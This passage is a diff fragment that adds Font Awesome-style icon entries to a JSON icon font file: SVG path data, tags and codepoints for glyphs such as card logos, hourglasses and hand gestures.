54.857-54.857h768c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sticky-note-o" + ], + "defaultCode": 62026, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sticky-note-o", + "id": 534, + "order": 1390, + "prevSize": 28, + "code": 62026 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 534 + }, + { + "icon": { + "paths": [ + "M1114.857 570.286c0 20.571-13.714 35.429-30.857 38.857-2.286 0.571-7.429 1.143-10.286 1.143h-87.429v-80h87.429c2.857 0 8 0.571 10.286 1.143 17.143 3.429 30.857 18.857 30.857 38.857zM1104.571 448.571c0 20-13.714 33.143-30.286 36-1.714 0.571-5.714 0.571-8.571 0.571h-79.429v-73.714h79.429c2.857 0 6.857 0.571 8.571 0.571 16.571 2.857 30.286 16.571 30.286 36.571zM416 542.286v-176h-130.286v176c0 42.857-29.143 74.857-81.714 74.857-44.571 0-88.571-13.143-130.857-33.714v64c68.571 18.857 155.429 18.857 155.429 18.857 145.143 0 187.429-55.429 187.429-124zM824 647.429v-64.571c-29.714 15.429-67.429 30.286-114.286 33.714-82.286 6.286-131.429-33.714-131.429-104.571s49.143-110.857 131.429-104.571c46.857 3.429 84 17.714 114.286 33.143v-64c-61.143-15.429-118.857-17.714-118.857-17.714-201.143-9.143-258.286 70.286-258.286 153.143s57.143 162.286 258.286 153.143c0 0 57.714-2.286 118.857-17.714zM1243.429 581.714c0-42.286-37.714-69.714-86.857-73.143v-1.714c44.571-6.286 69.143-35.429 69.143-69.143 0-43.429-36-68.571-84.571-70.857-3.429 0-9.714-0.571-14.857-0.571h-260v291.429h280.571c55.429 0 96.571-29.714 96.571-76zM1316.571 146.286v731.429c0 40-33.143 73.143-73.143 73.143h-1170.286c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h1170.286c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-jcb" + ], + "defaultCode": 62027, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-jcb", + "id": 535, + "order": 1391, + "prevSize": 28, + "code": 62027 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 535 + }, + { + "icon": { + "paths": [ + "M490.286 709.143v-396c-79.429 30.857-136 108-136 198.286s56.571 167.429 136 197.714zM778.286 511.429c0-90.286-56.571-167.429-136-198.286v396.571c79.429-30.857 136-108 136-198.286zM901.143 511.429c0 184.571-149.714 334.857-334.857 334.857-184.571 0-334.857-150.286-334.857-334.857 0-185.143 150.286-334.857 334.857-334.857 185.143 0 334.857 149.714 334.857 334.857zM1120 515.429c0-218.286-182.286-369.143-382.286-369.143h-172c-202.286 0-369.143 150.857-369.143 369.143 0 199.429 166.857 362.286 369.143 362.286h172c200 0 382.286-162.857 382.286-362.286zM1316.571 146.286v731.429c0 40-33.143 73.143-73.143 73.143h-1170.286c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h1170.286c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-diners-club" + ], + "defaultCode": 62028, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-diners-club", + "id": 536, + "order": 1392, + "prevSize": 28, + "code": 62028 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 536 + }, + { + "icon": { + "paths": [ + "M950.857 932.571v-621.714c0-9.714-8.571-18.286-18.286-18.286h-621.714c-9.714 0-18.286 8.571-18.286 18.286v621.714c0 9.714 8.571 18.286 18.286 18.286h621.714c9.714 0 18.286-8.571 18.286-18.286zM1024 310.857v621.714c0 50.286-41.143 91.429-91.429 91.429h-621.714c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h621.714c50.286 0 91.429 41.143 91.429 91.429zM804.571 91.429v91.429h-73.143v-91.429c0-9.714-8.571-18.286-18.286-18.286h-621.714c-9.714 0-18.286 8.571-18.286 18.286v621.714c0 9.714 8.571 18.286 18.286 18.286h91.429v73.143h-91.429c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h621.714c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "clone" + ], + "defaultCode": 62029, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "clone", + "id": 537, + "order": 1393, + "prevSize": 28, + "code": 62029 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 537 + }, + { + "icon": { + "paths": [ + "M987.429 256l-219.429 402.286h438.857zM256 256l-219.429 402.286h438.857zM725.143 146.286c-10.857 30.857-36 56-66.857 66.857v737.714h347.429c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-768c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h347.429v-737.714c-30.857-10.857-56-36-66.857-66.857h-280.571c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h280.571c15.429-42.857 55.429-73.143 103.429-73.143s88 30.286 103.429 73.143h280.571c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-280.571zM621.714 155.429c25.143 0 45.714-20.571 45.714-45.714s-20.571-45.714-45.714-45.714-45.714 20.571-45.714 45.714 20.571 45.714 45.714 45.714zM1243.429 658.286c0 117.714-162.857 164.571-256 164.571s-256-46.857-256-164.571v0c0-22.286 199.429-375.429 224-420 6.286-11.429 18.857-18.857 32-18.857s25.714 7.429 32 18.857c24.571 44.571 224 397.714 224 420v0zM512 658.286c0 117.714-162.857 164.571-256 164.571s-256-46.857-256-164.571v0c0-22.286 199.429-375.429 224-420 6.286-11.429 18.857-18.857 32-18.857s25.714 7.429 32 18.857c24.571 44.571 224 397.714 224 420z" + ], + "width": 1243.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "balance-scale" + ], + "defaultCode": 62030, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "balance-scale", + "id": 538, + "order": 1394, + "prevSize": 28, + "code": 62030 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 538 + }, + { + "icon": { + "paths": [ + "M804.571 73.143c0 211.429-101.143 364.571-213.143 438.857 112 74.286 213.143 227.429 213.143 438.857h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-841.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857c0-211.429 101.143-364.571 213.143-438.857-112-74.286-213.143-227.429-213.143-438.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h841.143c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857zM499.429 477.714c115.429-43.429 232-196 232-404.571h-585.143c0 208.571 116.571 361.143 232 404.571 14.286 5.143 24 18.857 24 34.286s-9.714 29.143-24 34.286c-115.429 43.429-232 196-232 404.571h585.143c0-208.571-116.571-361.143-232-404.571-14.286-5.143-24-18.857-24-34.286s9.714-29.143 24-34.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass-o" + ], + "defaultCode": 62032, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hourglass-o", + "id": 539, + "order": 1395, + "prevSize": 28, + "code": 62032 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 539 + }, + { + "icon": { + "paths": [ + "M804.571 73.143c0 211.429-101.143 364.571-213.143 438.857 112 74.286 213.143 227.429 213.143 438.857h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-841.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857c0-211.429 101.143-364.571 213.143-438.857-112-74.286-213.143-227.429-213.143-438.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h841.143c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857zM731.429 73.143h-585.143c0 25.143 1.714 49.714 5.143 73.143h574.857c3.429-23.429 5.143-48 5.143-73.143zM731.429 950.857c0-205.143-113.143-356.571-226.857-402.286h-131.429c-113.714 45.714-226.857 197.143-226.857 402.286h585.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass-1", + "hourglass-start" + ], + "defaultCode": 62033, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hourglass-1, hourglass-start", + "id": 540, + "order": 1396, + "prevSize": 28, + "code": 62033 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 540 + }, + { + "icon": { + "paths": [ + "M804.571 73.143c0 211.429-101.143 364.571-213.143 438.857 112 74.286 213.143 227.429 213.143 438.857h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-841.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857c0-211.429 101.143-364.571 213.143-438.857-112-74.286-213.143-227.429-213.143-438.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h841.143c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857zM731.429 73.143h-585.143c0 83.429 18.857 157.143 48.571 219.429h488c29.714-62.286 48.571-136 48.571-219.429zM698.857 768c-42.286-110.286-118.286-188.571-194.286-219.429h-131.429c-76 30.857-152 109.143-194.286 219.429h520z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass-2", + "hourglass-half" + ], + "defaultCode": 62034, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hourglass-2, hourglass-half", + "id": 541, + "order": 1397, + "prevSize": 28, + "code": 62034 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 541 + }, + { + "icon": { + "paths": [ + "M804.571 73.143c0 211.429-101.143 364.571-213.143 438.857 112 74.286 213.143 227.429 213.143 438.857h54.857c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-841.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h54.857c0-211.429 101.143-364.571 213.143-438.857-112-74.286-213.143-227.429-213.143-438.857h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h841.143c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-54.857zM499.429 477.714c115.429-43.429 232-196 232-404.571h-585.143c0 208.571 116.571 361.143 232 404.571 14.286 5.143 24 18.857 24 34.286s-9.714 29.143-24 34.286c-49.143 18.286-98.857 57.143-139.429 112h400c-40.571-54.857-90.286-93.714-139.429-112-14.286-5.143-24-18.857-24-34.286s9.714-29.143 24-34.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass-3", + "hourglass-end" + ], + "defaultCode": 62035, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hourglass-3, hourglass-end", + "id": 542, + "order": 1398, + "prevSize": 28, + "code": 62035 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 542 + }, + { + "icon": { + "paths": [ + "M859.429 914.286c10.286 0 18.286 8 18.286 18.286v73.143c0 10.286-8 18.286-18.286 18.286h-841.143c-10.286 0-18.286-8-18.286-18.286v-73.143c0-10.286 8-18.286 18.286-18.286h841.143zM74.286 877.714c10.857-192.571 168-296 273.143-365.714-105.143-69.714-262.286-173.143-273.143-365.714h729.143c-10.857 192.571-168 296-273.143 365.714 105.143 69.714 262.286 173.143 273.143 365.714h-729.143zM859.429 0c10.286 0 18.286 8 18.286 18.286v73.143c0 10.286-8 18.286-18.286 18.286h-841.143c-10.286 0-18.286-8-18.286-18.286v-73.143c0-10.286 8-18.286 18.286-18.286h841.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass" + ], + "defaultCode": 62036, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hourglass", + "id": 543, + "order": 1399, + "prevSize": 28, + "code": 62036 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 543 + }, + { + "icon": { + "paths": [ + "M438.857 219.429c-40.571 0-73.143 32.571-73.143 73.143v73.143h-18.286v-53.143c0-36-27.429-65.714-64-65.714-35.429 0-64 28.571-64 64v245.143l-18.286-17.143v-98.286c0-36-27.429-65.714-64-65.714-35.429 0-64 28.571-64 64v128c0 17.714 7.429 34.286 20 46.857l177.143 169.143c16.571 16.571 22.286 35.429 22.286 58.286 0 20 16.571 36.571 36.571 36.571h365.714c20 0 36.571-16.571 36.571-36.571v-14.286c0-14.857 1.714-29.714 5.714-44l61.714-249.143c4-14.286 5.714-29.143 5.714-44v-140.571c0-36-27.429-65.714-64-65.714-35.429 0-64 28.571-64 64v18.286h-18.286v-71.429c0-30.286-20.571-58.286-50.857-64.571-4-0.571-8.571-1.143-13.143-1.143-35.429 0-64 28.571-64 64v73.143h-18.286v-69.714c0-38.286-27.429-72-65.714-76-2.857-0.571-5.143-0.571-7.429-0.571zM438.857 146.286c30.857 0 60.571 9.714 85.143 28.571 21.143-12.571 45.714-19.429 70.286-19.429 45.143 0 86.857 21.714 112.571 58.857 10.857-2.857 22.286-4 33.714-4 76.571 0 137.143 62.857 137.143 138.857v140.571c0 20.571-2.857 41.714-7.429 61.714l-62.286 249.143c-3.429 13.714-3.429 26.857-3.429 40.571 0 60.571-49.143 109.714-109.714 109.714h-365.714c-65.143 0-109.714-52-109.714-114.857l-176-169.143c-26.857-25.714-43.429-62.286-43.429-100v-128c0-75.429 61.714-137.143 137.143-137.143 3.429 0 6.286 0 9.143 0.571 4.571-72.571 65.143-128.571 137.143-128.571 19.429 0 38.286 4 56 12 26.857-25.714 62.286-39.429 99.429-39.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-grab-o", + "hand-rock-o" + ], + "defaultCode": 62037, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-grab-o, hand-rock-o", + "id": 544, + "order": 1400, + "prevSize": 28, + "code": 62037 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 544 + }, + { + "icon": { + "paths": [ + "M502.857 73.143c-35.429 0-64 28.571-64 64v374.857h-18.286v-301.714c0-35.429-28.571-64-64-64s-64 28.571-64 64v448l-88-117.143c-13.714-18.286-35.429-29.143-58.286-29.143-40.571 0-73.143 33.143-73.143 73.143 0 16 5.143 31.429 14.857 44l219.429 292.571c13.714 18.286 35.429 29.143 58.286 29.143h393.143c26.286 0 49.143-18.857 54.286-44.571l43.429-231.429c1.714-10.857 2.857-22.286 2.857-33.714v-284.571c0-35.429-28.571-64-64-64s-64 28.571-64 64v155.429h-18.286v-301.714c0-35.429-28.571-64-64-64s-64 28.571-64 64v301.714h-18.286v-374.857c0-35.429-28.571-64-64-64zM502.857 0c51.429 0 98.857 29.143 122.286 75.429 8-1.714 16-2.286 24-2.286 75.429 0 137.143 61.714 137.143 137.143v9.714c79.429-4.571 146.286 56.571 146.286 136.571v284.571c0 16-1.714 32-4.571 47.429l-43.429 230.857c-10.857 60.571-64 104.571-125.714 104.571h-393.143c-45.714 0-89.714-22.286-117.143-58.286l-219.429-292.571c-18.857-25.143-29.143-56.571-29.143-88 0-80.571 65.143-146.286 146.286-146.286 24 0 53.143 5.714 73.143 19.429v-248c0-75.429 61.714-137.143 137.143-137.143 8 0 16 0.571 24 2.286 23.429-46.286 70.857-75.429 122.286-75.429z" + ], + "width": 932.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-paper-o", + "hand-stop-o" + ], + "defaultCode": 62038, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-paper-o, hand-stop-o", + "id": 545, + "order": 1401, + "prevSize": 28, + "code": 62038 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 545 + }, + { + "icon": { + "paths": [ + "M613.143 950.857h-101.143c-59.429 0-104.571-25.714-129.143-80.571-8.571-18.286-13.143-38.286-13.143-58.286v-2.857c-46.857-22.857-77.143-70.857-77.143-123.429 0-6.286 0-21.714 2.857-27.429h-149.143c-80.571 0-146.286-65.714-146.286-146.286s65.714-146.286 146.286-146.286h64.571l-25.143-9.714c-56.571-21.143-94.286-76-94.286-136.571 0-80.571 65.714-146.286 146.286-146.286 17.714 0 35.429 3.429 52 9.714l358.857 136.571h229.143c80.571 0 146.286 65.714 146.286 146.286v381.714c0 67.429-45.714 125.714-110.857 141.714l-193.714 48.571c-34.286 8.571-70.286 13.143-106.286 13.143zM585.143 544.571l-88.571 40.571-93.143 42.286c-22.857 10.286-37.714 33.143-37.714 58.286 0 35.429 28.571 64 64 64 9.143 0 18.286-1.714 26.286-5.714l193.143-88c-37.143-8-64-41.714-64-80v-31.429zM768 722.286c0-35.429-28.571-64-64-64-9.143 0-18.286 1.714-26.286 5.714l-165.714 75.429c-34.286 15.429-69.143 29.143-69.143 72.571 0 37.714 26.286 65.143 64.571 65.143 6.857 0 16-2.286 21.714-5.143l201.143-91.429c22.857-10.286 37.714-33.143 37.714-58.286zM635.429 292.571l-371.429-141.714c-8.571-2.857-17.143-4.571-26.286-4.571-40 0-73.143 32.571-73.143 73.143 0 30.286 18.857 57.714 46.857 68.571l300.571 114.286v36.571h-365.714c-40.571 0-73.143 32.571-73.143 73.143s32.571 73.143 73.143 73.143h305.714l133.143-60.571v-113.143c0-22.857 9.714-45.143 26.286-60.571l63.429-58.286h-39.429zM613.143 877.714c29.714 0 60-3.429 88.571-10.857l193.714-48.571c32.571-8 55.429-37.143 55.429-70.857v-381.714c0-40.571-32.571-73.143-73.143-73.143h-176l-77.714 72c-13.143 12-20.571 29.143-20.571 46.857v169.143c0 35.429 29.143 61.714 64 61.714 35.429 0 64-31.429 64-66.286v-118.857h18.286v118.857c0 25.714-12.571 49.714-32.571 65.143 40 6.286 69.143 41.143 69.143 81.143 0 32-18.857 61.714-48 74.857l-177.143 80.571h52z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-scissors-o" + ], + "defaultCode": 62039, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-scissors-o", + "id": 546, + "order": 1402, + "prevSize": 28, + "code": 62039 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 546 + }, + { + "icon": { + "paths": [ + "M657.714 0c46.286 0 90.857 22.286 118.286 60l326.857 446.286c44 59.429 67.429 130.857 67.429 205.143v202.857c0 60.571-49.143 109.714-109.714 109.714h-219.429c-60.571 0-109.714-49.143-109.714-109.714v-101.143l-163.429-81.714h-312c-60.571 0-109.714-49.143-109.714-109.714v-18.286c0-90.857 73.714-164.571 164.571-164.571h240l24-73.143h-392c-76 0-139.429-58.286-145.714-133.714-24-29.143-37.143-66.286-37.143-104v-18.286c0-60.571 49.143-109.714 109.714-109.714h548zM1097.143 914.286v-202.857c0-57.714-18.857-115.429-53.143-162.286l-327.429-446.286c-13.714-18.286-35.429-29.714-58.857-29.714h-548c-20 0-36.571 16.571-36.571 36.571 0 30.286 0.571 51.429 20.571 76 7.429-23.429 28.571-39.429 52.571-39.429h475.429v18.286h-475.429c-20 0-36.571 16.571-36.571 36.571 0 10.857-0.571 22.286 1.714 33.143 6.286 33.714 37.143 58.286 71.429 58.286h417.714c30.286 0 54.857 24.571 54.857 54.857 0 5.714-1.143 12-2.857 17.143l-36.571 109.714c-7.429 22.286-28.571 37.714-52 37.714h-253.143c-50.286 0-91.429 41.143-91.429 91.429v18.286c0 20 16.571 36.571 36.571 36.571h320.571c5.714 0 11.429 1.143 16.571 4l181.143 90.286c18.286 9.714 30.286 28.571 30.286 49.143v112.571c0 20 16.571 36.571 36.571 36.571h219.429c20 0 36.571-16.571 36.571-36.571z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-lizard-o" + ], + "defaultCode": 62040, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-lizard-o", + "id": 547, + "order": 1403, + "prevSize": 28, + "code": 62040 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 547 + }, + { + "icon": { + "paths": [ + "M262.286 1024c-58.857 0-109.714-40-124-97.143l-57.714-229.143c-4.571-20-7.429-41.143-7.429-61.714 0-13.143 0-25.714-2.857-38.286l-66.286-272.571c-2.857-10.857-4-21.714-4-32.571 0-70.857 53.714-129.143 124-136.571 12.571-64.571 68-110.286 134.286-110.286 63.429 0 118.286 43.429 133.143 105.143l47.429 198.857 58.857-244.571c14.857-61.714 69.714-105.143 133.143-105.143 68 0 124 49.143 134.857 115.429 70.286 8 121.143 67.429 121.143 137.714 0 10.857-1.714 22.286-4 33.714l-70.286 292.571c45.714-34.286 78.857-67.429 138.857-67.429 79.429 0 145.714 64.571 145.714 144.571 0 48-23.429 92.571-61.143 121.143l-289.714 217.143c-25.143 18.857-56 29.143-87.429 29.143h-396.571zM630.857 73.143c-29.143 0-54.857 20.571-61.714 49.143l-93.714 389.714h-72.571l-82.857-344c-6.857-28.571-32.571-49.143-61.714-49.143-36.571 0-64 29.143-64 64.571 0 5.714 0.571 10.857 1.714 16l75.429 312.571h-14.857l-56.571-233.143c-6.857-28-32.571-50.286-62.286-50.286-35.429 0-64.571 28.571-64.571 64 0 5.143 0.571 10.286 1.714 14.857l66.286 273.143c8 33.143 2.286 66.286 10.857 99.429l57.143 229.143c6.286 24.571 28 41.714 53.143 41.714h396.571c15.429 0 30.857-5.143 43.429-14.857l289.714-216.571c19.429-14.857 32-38.286 32-62.857 0-40-33.143-71.429-72.571-71.429-16 0-31.429 5.143-44 14.857l-175.429 131.429v-129.714c0-4.571 73.714-307.429 79.429-332 1.143-5.143 2.286-10.857 2.286-16.571 0-35.429-26.857-65.714-63.429-65.714-29.714 0-55.429 20.571-62.286 49.143l-66.286 275.429h-14.857l85.714-356.571c1.143-5.143 1.714-10.857 1.714-16 0-36-26.286-66.286-63.429-66.286z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-spock-o" + ], + "defaultCode": 62041, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-spock-o", + "id": 548, + "order": 1404, + "prevSize": 28, + "code": 62041 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 548 + }, + { + "icon": { + "paths": [ + "M365.714 73.143c-40.571 0-73.143 32.571-73.143 73.143v512l-86.286-115.429c-14.286-18.857-37.143-30.857-61.143-30.857-40 0-72 33.714-72 73.143 0 16 5.143 31.429 14.857 44l219.429 292.571c13.714 18.286 35.429 29.143 58.286 29.143h410.286c16.571 0 31.429-11.429 35.429-27.429l52.571-210.286c9.143-36.571 13.714-73.714 13.714-110.857v-124c0-30.286-23.429-57.714-54.857-57.714-30.286 0-54.857 24.571-54.857 54.857h-18.286v-34.857c0-36-27.429-65.714-64-65.714-35.429 0-64 28.571-64 64v36.571h-18.286v-51.429c0-41.143-31.429-76.571-73.143-76.571-40.571 0-73.143 32.571-73.143 73.143v54.857h-18.286v-325.714c0-41.143-31.429-76.571-73.143-76.571zM365.714 0c81.714 0 146.286 68.571 146.286 149.714v125.714c6.286-0.571 12-1.143 18.286-1.143 37.143 0 72 14.286 98.857 39.429 17.714-8 37.143-12 56.571-12 41.143 0 79.429 18.286 105.143 49.714 10.857-2.857 21.143-4 32-4 72 0 128 60 128 130.857v124c0 42.857-5.143 86.286-16 128.571l-52.571 210.286c-12 48.571-56 82.857-106.286 82.857h-410.286c-45.714 0-89.714-22.286-117.143-58.286l-219.429-292.571c-18.857-25.143-29.143-56.571-29.143-88 0-80 65.143-146.286 145.143-146.286 26.286 0 52 6.857 74.286 20v-312.571c0-80.571 65.714-146.286 146.286-146.286zM438.857 804.571v-219.429h-18.286v219.429h18.286zM585.143 804.571v-219.429h-18.286v219.429h18.286zM731.429 804.571v-219.429h-18.286v219.429h18.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-pointer-o" + ], + "defaultCode": 62042, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-pointer-o", + "id": 549, + "order": 1405, + "prevSize": 28, + "code": 62042 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 549 + }, + { + "icon": { + "paths": [ + "M736 369.714c21.143 0 42.286 4 61.143 13.143 54.857 24.571 80.571 69.714 80.571 129.143v101.143c0 36-4.571 72-13.143 106.286l-48.571 193.714c-16 65.143-74.286 110.857-141.714 110.857h-381.714c-80.571 0-146.286-65.714-146.286-146.286v-229.143l-136.571-358.857c-6.286-16.571-9.714-34.286-9.714-52 0-80.571 65.714-146.286 146.286-146.286 60.571 0 115.429 37.714 136.571 94.286l9.714 25.143v-64.571c0-80.571 65.714-146.286 146.286-146.286s146.286 65.714 146.286 146.286v149.143c9.143-1.714 18.286-2.857 27.429-2.857 52.571 0 100.571 30.286 123.429 77.143zM612.571 365.714c-25.143 0-48 14.857-58.286 37.714l-42.286 93.143-40.571 88.571h31.429c38.286 0 72 26.857 80 64l88-193.143c4-8 5.714-17.143 5.714-26.286 0-35.429-28.571-64-64-64zM738.857 442.857c-43.429 0-57.143 34.857-72.571 69.143l-75.429 165.714c-4 8-5.714 17.143-5.714 26.286 0 35.429 28.571 64 64 64 25.143 0 48-14.857 58.286-37.714l91.429-201.143c2.857-5.714 5.143-14.857 5.143-21.714 0-38.286-27.429-64.571-65.143-64.571zM73.143 237.714c0 9.143 1.714 17.714 4.571 26.286l141.714 371.429v39.429l58.286-63.429c15.429-16.571 37.714-26.286 60.571-26.286h113.143l60.571-133.143v-305.714c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143v365.714h-36.571l-114.286-300.571c-10.857-28-38.286-46.857-68.571-46.857-40.571 0-73.143 33.143-73.143 73.143zM674.286 950.857c33.714 0 62.857-22.857 70.857-55.429l48.571-193.714c7.429-28.571 10.857-58.857 10.857-88.571v-52l-80.571 177.143c-13.143 29.143-42.857 48-74.857 48-40 0-74.857-29.143-81.143-69.143-15.429 20-39.429 32.571-65.143 32.571h-118.857v-18.286h118.857c34.857 0 66.286-28.571 66.286-64 0-34.857-26.286-64-61.714-64h-169.143c-17.714 0-34.857 7.429-46.857 20.571l-72 77.714v176c0 40.571 32.571 73.143 73.143 73.143h381.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-peace-o" + ], + "defaultCode": 62043, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-peace-o", + "id": 550, + "order": 1406, + "prevSize": 28, + "code": 62043 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 550 + }, + { + "icon": { + "paths": [ + "M489.714 310.857v66.857c0 9.714-8.571 17.714-18.286 17.714h-170.286v464c0 10.286-8 18.286-17.714 18.286h-77.143c-10.286 0-18.286-8-18.286-18.286v-464h-169.714c-10.286 0-18.286-8-18.286-17.714v-66.857c0-10.286 8-18.286 18.286-18.286h453.143c9.714 0 18.286 8 18.286 18.286zM1082.857 309.143l44 549.143c0.571 5.143-1.143 9.714-4.571 13.714-3.429 3.429-8 5.714-13.143 5.714h-76.571c-9.143 0-17.143-7.429-17.714-16.571l-26.286-336-108 242.857c-2.857 6.857-9.143 10.857-16.571 10.857h-68.571c-6.857 0-13.143-4-16.571-10.857l-107.429-244-25.714 337.143c-0.571 9.143-8.571 16.571-17.714 16.571h-77.143c-5.143 0-9.714-2.286-13.143-5.714-3.429-4-5.143-8.571-5.143-13.714l44.571-549.143c0.571-9.143 8.571-16.571 17.714-16.571h81.143c7.429 0 13.714 4.571 16.571 10.857l125.714 297.143c4 9.143 8 19.429 11.429 29.143 4-9.714 7.429-20 11.429-29.143l126.286-297.143c2.857-6.286 9.143-10.857 16.571-10.857h80.571c9.714 0 17.714 7.429 18.286 16.571z" + ], + "width": 1127.424, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trademark" + ], + "defaultCode": 62044, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "trademark", + "id": 551, + "order": 1407, + "prevSize": 28, + "code": 62044 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 551 + }, + { + "icon": { + "paths": [ + "M595.429 401.714c0-33.143-11.429-56.571-34.286-69.143-11.429-6.286-27.429-10.286-66.857-10.286h-70.286v160.571h92.571c50.286 0 78.857-29.714 78.857-81.143zM625.143 564.571l117.143 213.143c2.857 5.714 2.857 12.571-0.571 17.714-2.857 5.714-9.143 9.143-15.429 9.143h-86.857c-6.857 0-13.143-3.429-16-9.714l-110.857-208.571h-88.571v200c0 10.286-8 18.286-18.286 18.286h-76.571c-10.286 0-18.286-8-18.286-18.286v-548.571c0-10.286 8-18.286 18.286-18.286h168c60 0 86.286 5.143 108.571 13.714 64.571 24 104.571 87.429 104.571 165.143 0 70.286-34.857 129.714-90.286 157.143 1.714 2.857 3.429 5.714 5.143 9.143zM512 91.429c-232 0-420.571 188.571-420.571 420.571s188.571 420.571 420.571 420.571 